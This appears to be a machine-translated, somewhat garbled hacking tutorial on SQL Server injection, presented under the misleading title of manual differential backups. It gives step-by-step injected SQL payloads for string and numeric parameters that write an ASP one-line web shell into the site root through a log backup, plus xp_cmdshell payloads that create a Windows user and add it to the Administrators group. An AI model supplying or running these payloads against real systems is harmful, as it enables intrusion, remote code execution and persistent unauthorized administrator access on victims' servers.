Steps for SQL Server to manually implement differential backups _mssql

Steps to manually implement differential backups

Character type:

1. Restore the current library
ALTER DATABASE Current library set RECOVERY full--

2, the construction table cmd
; Create table cmd (a image)--

3, back up the current library to D:\CMD1
; Backup log current library to disk = ' D:\cmd1 ' with init--

4, insert a sentence code to create the table cmd
; insert into cmd (a) VALUES (' <%%25**ecute (Request ("a"))%%25> ')--

5, backup one sentence code to the site root directory
; Backup log current library to disk = ' D:\www_web\oct.asp '--

6. Complete
Table created;d ROP table--

Digital type

1. Restore the current library
' ALTER DATABASE current library set RECOVERY full--

2. CREATE TABLE cmd
'; Create table cmd (a image)--

3, back up the current library to D:\CMD1
'; Backup log current library to disk = ' D:\cmd1 ' with init--

4, insert a sentence code to create the table cmd
'; insert into cmd (a) VALUES (' <%%25**ecute (Request ("a"))%%25> ')--

5, backup one sentence code to the site root directory
'; Backup log current library to disk = ' D:\www_web\oct.asp '--

6. Complete
';d table created by ROP table--

SA Permissions Create administrator user

1. To judge whether there is injection; and 1=1; 1=2
; and user_name () = ' dbo ' Determines whether the current system's connected user is an SA

2, add the administrator of the system
; Exec master.dbo.xp_cmdshell ' net user wk Wk90/add ';--
; exec master.dbo.xp_cmdshell ' net localgroup Administrators Wk/add ';--

Free revenge: There are tools I will not be manual, trouble.